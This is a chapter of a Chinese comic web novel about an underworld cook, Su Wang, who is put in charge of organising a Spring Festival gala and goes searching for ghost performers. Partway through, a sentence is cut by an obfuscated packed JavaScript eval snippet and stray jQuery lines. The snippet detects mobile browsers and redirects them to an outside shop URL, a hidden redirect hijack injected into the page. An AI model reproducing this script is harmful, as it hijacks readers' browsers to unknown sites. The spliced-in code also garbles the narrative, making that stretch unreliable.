“不好意思，我来晚了。”苏望推开门，她穿着白衬衫搭浅色开衫毛衣，配一条卡其色西裤，休闲又优雅，手里揣着的猫穿着和她同色系的棕色小熊衣。


    刚一落座，东方鬼帝趁着酆都大帝不注意，柔柔弱弱地往苏望身上一靠。


    苏望坐直些，让她靠得更舒服，怕被小猫听到，小声地说，“姐姐你身上好香。”


    东方鬼帝掩唇轻笑，“少来，嘴这么甜我也救不了你。”


    “啊…”苏望假装整理资料，把黄麻纸立起来挡住脸，“我就迟到了一会儿…不至于吧…”


    上头坐着的酆都大帝还在策划着春节年会。


    鬼在这一天都放假，但不能返乡探亲，苏望听欧阳烁说，这个习俗已经有几百年，毕竟阳间人图个喜庆，鬼再怎么算是亲人，也怕沾着不吉利，于是，鬼约定俗成，除夕春节这段日子，说什么也不愿飘到上头去。


    “经济和文化相辅相成，既然经济发展，相应的，娱乐文化也要跟着发展。”酆都大帝捋着胡子说。


    下头的东方鬼帝还在和苏望开小会，她挑了挑眉，“你还不知道啊？”


    苏望疑惑，小猫和她同款表情，“知道什么？”


    酆都大帝点点头，示意周子仁接着说，毕竟是南方鬼帝的提案，“每逢佳节倍思亲，鬼也一样，为了减少他们在这个阶段散发的怨念，地府也能向鬼界学习，开展春节晚会。”


    东方鬼帝也把黄麻纸立起来，隔绝对面北方鬼帝不屑的目光，“地府要开春节晚会，得抽个代表组织呢！”


    “这活一般都是内定南方鬼帝吧…”苏望思考。


    酆都大帝咳了两声，苏望和东方鬼帝还在小声交谈，周子仁扶额，接着唱双簧，“那就抽签决定吧。”


    东方鬼帝摇摇头，发尾后的深红玛瑙撞出清脆响声，“这次，天上要派人下来查看，担子可重了。”


    “神仙还凑这个热闹。”苏望好奇地说。


    周子仁机械般地把手伸进箱子里摸索，北方大帝默念着不是自己，也伸长脖子出来看。


    东方鬼帝板纸立得笔直，“那可不，还事多，就和你们人间那个检察官一样，到时候哪里做得不好就挨骂，还得扣工资呢！”


    苏望吸了一口凉气，“也不知道谁这么倒霉，会命苦抽中。”


    周子仁展开纸条，神清气爽地笑了出来，狐狸眼眯起，欣慰地感叹手气爆棚，“孟婆，上来吧。”


    苏望撸了一把猫，看好戏地看了一圈，“孟婆谁啊，这么倒霉。”


    东方鬼帝挠了挠鼻子，踢了苏望一脚，“喊你呢，快上去。”


    苏望抱着猫，不敢睁眼，颠勺颠久了忘记自己是个做汤的了…


    “苏望，赶紧上来拿。”周子仁笑得开心，不顾其他鬼死活。


    “是不是你故意的？”苏望微笑握手，咬牙切齿，小猫怒目而视，猫尾巴摇成了竹蜻蜓猛击周子仁大腿。


    周子仁吃痛，皮笑肉不笑，把项目合同书交给苏望，“我可没这么大本事。”


    苏望瘫在桌上，厚厚一本项目合同书当做枕头，她叹气，“让我找吃货一抓一把，让我抓才艺咖再捞都捞不着…”


    小猫靠着苏望的手背，耳朵上的聪明毛一抖一抖，“你要不要准备一个节目呢。”


    苏望坐起身，“我倒是可以，就是不知道这群神仙喜欢看什么。”


    小猫歪头，“做你喜欢的就好。”


    苏望也学着它歪头，“扣工资怎么办？”


    小猫哼了一声，“我给你，我有很多钱，别要他们三瓜两枣。”


    天界的看法对地府很重要，但猫猫大王说得对，自己都不满意的东西，别人也不一定会满意。


    苏望亲了亲它，逗着它玩，“大王，你想看什么，我现在就表演。”


    “哟。”兰姐拍了拍手上沾的面粉，“表演啥呢？”


    苏望眼睛发光，兰姐阅鬼无数，“兰姐，你认不认识有才艺的鬼。”


    兰姐挠挠头，“鬼界堡有才的也没几个，东方地界有个文艺鬼，整天作诗写曲，配个二胡吹拉弹唱，长得可俊，他之前会去奈何桥卖艺，你没看过他吗？”


    苏望拿纸认真记着——“二胡文艺青年卖艺”她想了想没有印象，问“会不会去投胎了？”


    小猫心虚地移开脸。


    兰姐想得费劲，“哦对，鬼界堡西方地界有片竹林，有个鬼天天弹古筝，想找个知音效仿伯牙子期来着。”


    苏望记到一半又划掉。


    “怎么了？”小猫问。


    苏望抗拒摇头答，“黄泉路的安保提醒过不能去，我才不去呢，我又不是男人，要发生点什么事肯定挨骂，一鬼一口唾沫星子都能淹死我。”


    兰姐愁眉苦脸，“真没了，你问我还不如问欧阳烁呢，都是欧阳烁告诉我的。”


    苏望叹气，“可惜她出差了，还不知道什么时候才能回来。”


    兰姐支招，“你上鬼市王姨开的粥铺看看，这几天摆夜市，她们那块不少上了年纪的鬼客都是回头客，说不准能遇上几个百事通呢。”


    “哎呀，是不是小望来了？”王奶奶在王伯的搀扶下站在门口。


    苏望看到粥铺生意兴隆，心情也很好，她蹦蹦跳跳跑到王奶奶面前，“奶奶，我就过来看看。”


    王奶奶拍了拍她的手，“好孩子好孩子，最近是不是工作太忙了，喝点奶奶熬的粥再走。”


    苏望推脱不下，只好坐下等着，原本的大堂服务生分给了粥铺做服务生，端着砂锅上菜时眼尖地看见苏望，“老板！”


    苏望看见这么大一锅，觉得新奇，“怎么拿这个装。”


    服务生解释，“王奶奶不是会做火锅又会熬粥嘛，她自己一琢磨，干脆发明了个粥底火锅。”


    “服务员香菜辣油没了，再给我加点。”


    “诶马上来。”服务员大声应着，扭过头轻声细语对着苏望说，“老板我待会儿再来陪你聊天啊。”


    砂锅还冒着热气，有鬼招呼苏望，“苏大厨，一块来一碗？”


    “不用不用，王奶奶给我做了。”苏望笑，“劳烦问一句，你认不认识有才艺的鬼？”


    “嘶——你这样突然一问倒是一时想不起来，等我喝完这碗粥再告诉你。”鬼皱着眉思考。


    谈话间，王奶奶给苏望特地熬的大满贯和小猫的鱼粥锅也端了上来。


    掀开盖，就能闻见扑面而来的甜糯米香，粥底乳白，嫩滑的肉片夹着几块翠绿的白菜叶，混在开壳的贝类里，菌菇切成小块，化在粥里。


    “嗝——”


    小猫吃得肚皮圆滚滚，打了个嗝，苏望也学着它，小熊帽子盖着脸，羞得小猫直往苏望怀里钻。


    年纪大的鬼满意地擦了擦嘴，“我倒还真想起一个，前段时间在望酥斋对街的快餐店，我听见有鬼说什么音乐万岁，你去那边看看。”


    得，又得往回骑，苏望认命蹬上自行车，就当饭后消食。


    “老板，您来怎么不提前说一声？”快餐店主厨把白布往肩上一甩，端出大盆水果。


    苏望累得直喘气，看来她真是劳累过度，这么点路都累得够呛，“你这几天有没有看到搞音乐的鬼？”


    “有有有！”主厨连忙答。


    苏望拍桌站起身，“在哪里？”


    主厨声音低下去，“您来晚了，他们都走了。”


    打击，简直是天一般的打击！


    苏望腿一软，扶着桌子才没有倒，小猫连忙


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852049|186873||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    用脑袋撑着她的小腿。


    收拾完外街桌子的服务生端着大盘小盘，“苏大厨，您找乐队吗？刚刚他们去望酥斋抢小蛋糕了。”


    “感谢。”苏望跑得像风。


    “诶…主厨，苏大厨的自行车忘记骑回去。”服务生指了指。


    “她太忙忘记了，待会儿我会送回去的。”


    服务生看着苏望的背影感慨，“她总有这么多事情要做，却始终能够温柔地对待大家，每次看到她，就感觉自己也得更努力些才行。”


    主厨揉了揉眼睛，“是啊，她就是这样，像地府的太阳一样。”


    “主厨你是哭了吗…”


    “你看错了…”


    “二十亿一次，。”童童爬在二楼窗口，手里高举伯爵红茶卷，谈到钱，说话也不结巴了，“最后一个了，还有人要吗？”


    “二十五亿！”


    “三十亿！”


    “三十亿一次，三十亿两次！”童童激动得脸都红了。


    穿着漏洞夹克的寸头鬼打了个哆嗦，“衣服都穿不起了就别买这个行吗？”


    铆钉靴叮当响的长发男鬼抬头，头发遮着眼睛，童童也能感觉到他饥渴的目光，这是最原始的、对美食的渴望。


    圆脸女鬼叹气，“可是我真的很想要。”


    胖胖的男鬼拍了拍肚子，“还有点没吃饱呢！”


    “五十亿！”


    “我靠五十亿，抢劫啊！”寸头鬼瞠目结舌，抢天地银行还没开甜品店赚钱！他一手扯三鬼，从如饥似渴如狼似虎的鬼群中猛挤。


    童童笑得癫狂，天呐五十亿！


    “童童。”


    慢着，好像谁在喊她。


    童童傲慢地睁开眼，只见原本围起的鬼自动散开，苏望站在正中间像条隔离带，她叉着腰，表情严肃，长头发男鬼掀开刘海，戳了戳寸头鬼，“这不大侠吗？”


    “我们约定好的，为什么还这样做？”苏望语气难得严肃起来。


    童童低着头，瘪起嘴，“对不起…”


    苏望看她流眼泪，语气硬不下去，“是不是钱不够用？”


    童童摇头。


    “那你为什么要这么多钱？”苏望问。


    “马上有手机，我想给你买，是新年礼物。”童童边哭边用手背抹眼泪，“我还想买浮绘卷，这样在下面，也可以看到你。”


    苏望拉住童童的手，轻声说，“只要你还在我身边，就是我最好的礼物，浮绘卷太贵啦，现在我也买不起，不过以后我多来几次，让你多看我几次好不好？”


    “拉钩？”


    “拉钩上吊，一百年不许变。”苏望笑着勾起童童的手指。


    “骗人，是小狗？”童童笑着吸了吸鼻涕。


    “嗯，骗人是小狗。”苏望帮她擦干，“好了，去和你的好朋友玩吧，把今天的蛋糕分给他。”


    童童伸出手，牵着半个透明色的小孩走了出去。


    “什么情况？”苏望整理好心情推开门，就看到这一幕。


    原本穿着新潮奇异的四位孩子改头换面，统一裹着地府服装店里买二送一的花棉袄，喝着热汤满脸安详。


    “亚比的衣服不抗冻。”圆脸女鬼默默说。


    “哥的冷酷，零下十八度。”长发男鬼甩了甩刘海。


    寸头鬼斜了他一眼，“把衣服脱了好好感受一下零下十八度多冷。”


    苏望坐下，“我还有个问题，你们不会在这过几天又回牢里吧。”


    寸头鬼被推出来发言，“不用不用，表现良好提前出狱了，现在还在到处找工作呢，就是这样子上哪都受歧视。”


    苏望翻开合同，推上笔，“既然这样，就来参加春晚，让你们的星途璀璨吧！”